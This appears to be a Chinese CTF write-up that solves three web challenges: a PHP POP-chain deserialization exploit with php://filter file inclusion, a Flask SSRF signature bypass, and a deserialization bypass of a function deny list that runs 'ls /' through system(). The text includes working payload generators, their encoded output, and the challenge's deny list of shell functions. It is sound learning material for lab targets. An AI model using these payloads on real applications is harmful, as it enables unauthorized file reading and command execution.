目录
[MRCTF2020]Ezpop
Pop链子构造。
首先要明确目的:得到flag.php文件。
简单看一下,发现有include函数,可以利用伪协议来得到flag.php。
改变Modifier中的var属性,可达到目的。
用到的魔法函数:
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
当GET一个pop参数时,首先会被反序列化,便会自动调用Show类中的_wakeup方法。
利用其中的preg_match,给source赋值一个Show类,就调用了__toString()方法。
给str赋值一个Test类,因其没有source属性,便会调用_get方法。
如果给Test中的p属性赋一个Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
改变了Modifier中的var属性,利用文件包含漏洞得到flag.php的内容。
Payload:
<?php
class Modifier {
protected $var ='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "abc";
}
}
class Test{
public $p;
}
$a = new Show('a');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b))
?>
运行结果:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
[De1CTF 2019]SSRF Me 1
Flask中的ssrf利用。
排列代码:
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
先注意@后的内容。
第一个的意思是访问/geneSign会返还secert_key + param + action的MD5的值,目前不知道有什莫用。
继续看第二个,访问/De1ta然后可以cookie传入action和sign的值,还可以控制GET传入param的值。
Waf是防止利用gopher和file协议来获取flag。
在后边跳到了Exec类函数中,一层一层绕过if判断。
在第一个时会检查getSign(self.action, self.param) == self.sign相等时才会返回ture。
所以便用上了刚开始的/geneSign。
传入flag.txt是利用代码中可写入,将flag.txt中的值接入result.txt中,然后再读取回显出来。
GET传入param=flag.txtread,read是由于后边会判断read是否在action中。
之后再cookie传入sing=1513ab8b1aebde90618b96fcd58e62b4;action=readscan,
GET传入param=flag.txt。
[网鼎杯 2020 朱雀组]phpweb
发现跳转,利用bp抓包。
发现可以POST传入func和p参数。
随便传一下。
发现call_user_func()函数,猜测func为该函数的第一个参数,p为第二个。
利用file_get_contents查看index.php的源码。
发现大多函数被禁用,但unserialize没有,可以利用反序列化。
Index.php:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
Payload:
<?php
class Test {
var $p = "ls /";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
?>
随后找flag就行。
发现flag在/tmp/flagoefiu4r93中,cat查看就行。